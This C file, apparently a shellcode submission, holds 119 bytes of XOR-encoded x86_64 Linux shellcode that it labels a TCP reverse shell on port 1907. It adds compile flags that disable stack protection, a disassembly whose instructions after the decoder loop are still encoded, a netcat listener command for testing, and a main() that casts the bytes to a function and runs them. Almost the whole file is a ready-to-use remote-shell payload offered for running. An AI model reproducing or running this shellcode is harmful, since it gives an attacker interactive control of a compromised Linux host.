/* 
reverse shell tcp (1907) port shellcode C language - Linux/x86_64

  Author : Kagan Capar
  contact: kagancapar@gmail.com
  shellcode len : 119 bytes
  compilation: gcc -fno-stack-protector -z execstack reverse-shell.c -o reverse-shell
  
  Test:
  run your machine: nc -vlp 1907
  and run exploit (./reverse-shell)
  check shellcode raw and test ls, who, pwd command.


<shellproccod>:    0x48  0x31  0xc9  0x48  0x81  0xe9  0xf6  0xff
<shellproccod+8>:  0xff  0xff  0x48  0x8d  0x05  0xef  0xff  0xff
<shellproccod+16>:  0xff  0x48  0xbb  0xdf  0x4b  0x06  0xb1  0x71
<shellproccod+24>:  0x71  0x46  0x28  0x48  0x31  0x58  0x27  0x48
<shellproccod+32>:  0x2d  0xf8  0xff  0xff  0xff  0xe2  0xf4  0xb5
<shellproccod+40>:  0x62  0x5e  0x28  0x1b  0x73  0x19  0x42  0xde
<shellproccod+48>:  0x15  0x09  0xb4  0x39  0xe6  0x0e  0x91  0xdd
<shellproccod+56>:  0x4b  0x01  0xc2  0x0e  0x71  0x46  0x29  0x8e
<shellproccod+64>:  0x03  0x8f  0x57  0x1b  0x61  0x1c  0x42  0xf5
<shellproccod+72>:  0x13  0x09  0xb4  0x1b  0x72  0x18  0x60  0x20
<shellproccod+80>:  0x85  0x6c  0x90  0x29  0x7e  0x43  0x5d  0x29
<shellproccod+88>:  0x21  0x3d  0xe9  0xe8  0x39  0xfd  0x07  0xbd
<shellproccod+96>:  0x22  0x68  0x9e  0x02  0x19  0x46  0x7b  0x97
<shellproccod+104>:  0xc2  0xe1  0xe3  0x26  0x39  0xcf  0xce  0xd0
<shellproccod+112>:  0x4e  0x06  0xb1  0x71  0x71  0x46  0x28

  
assembly code is below:

xor    %rcx,%rcx
sub    $0xfffffffffffffff6,%rcx
lea    -0x11(%rip),%rax              # 0x555555558060 <shellproccod>
movabs $0x28467171b1064bdf,%rbx
xor    %rbx,0x27(%rax)
sub    $0xfffffffffffffff8,%rax
loop   0x55555555807b <shellproccod+27>
mov    $0x62,%ch
pop    %rsi
sub    %bl,(%rbx)
jae    0x5555555580a7 <shellproccod+71>
rex.X ficoms -0x19c64bf7(%rip)       # 0x55553b8f349e
xchg   %eax,%ecx
fisttpll 0x1(%rbx)
retq   $0x710e
rex.RX sub %r9d,0x1b578f03(%rsi)
(bad)  
sbb    $0x42,%al
cmc    
adc    (%rcx),%ecx
mov    $0x1b,%ah
jb     0x5555555580c6 <shellproccod+102>  
and    %al,0x7e29906c(%rbp)
rex.XB pop %r13
sub    %esp,(%rcx)
cmp    $0xfd39e8e9,%eax  
mov    $0x29e6822,%ebp
sbb    %eax,0x7b(%rsi)
xchg   %eax,%edi
retq   $0xe3e1
es cmp %ecx,%edi 
rorb   0x6(%rsi)
mov    $0x71,%cl
jno    0x55555555811c
sub    %al,(%rax)
   

*/

#include <stdio.h>
#include <string.h>

unsigned char shellproccod[] = \
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdf\x4b\x06\xb1\x71\x71\x46\x28\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb5\x62\x5e\x28\x1b\x73"
"\x19\x42\xde\x15\x09\xb4\x39\xe6\x0e\x91\xdd\x4b\x01\xc2\x0e"
"\x71\x46\x29\x8e\x03\x8f\x57\x1b\x61\x1c\x42\xf5\x13\x09\xb4"
"\x1b\x72\x18\x60\x20\x85\x6c\x90\x29\x7e\x43\x5d\x29\x21\x3d"
"\xe9\xe8\x39\xfd\x07\xbd\x22\x68\x9e\x02\x19\x46\x7b\x97\xc2"
"\xe1\xe3\x26\x39\xcf\xce\xd0\x4e\x06\xb1\x71\x71\x46\x28";

int main()
{
  printf("Shellcode len: %d\n", strlen(shellproccod));
  
  int (*ret)() = (int(*)())shellproccod;
  
  ret();
  
}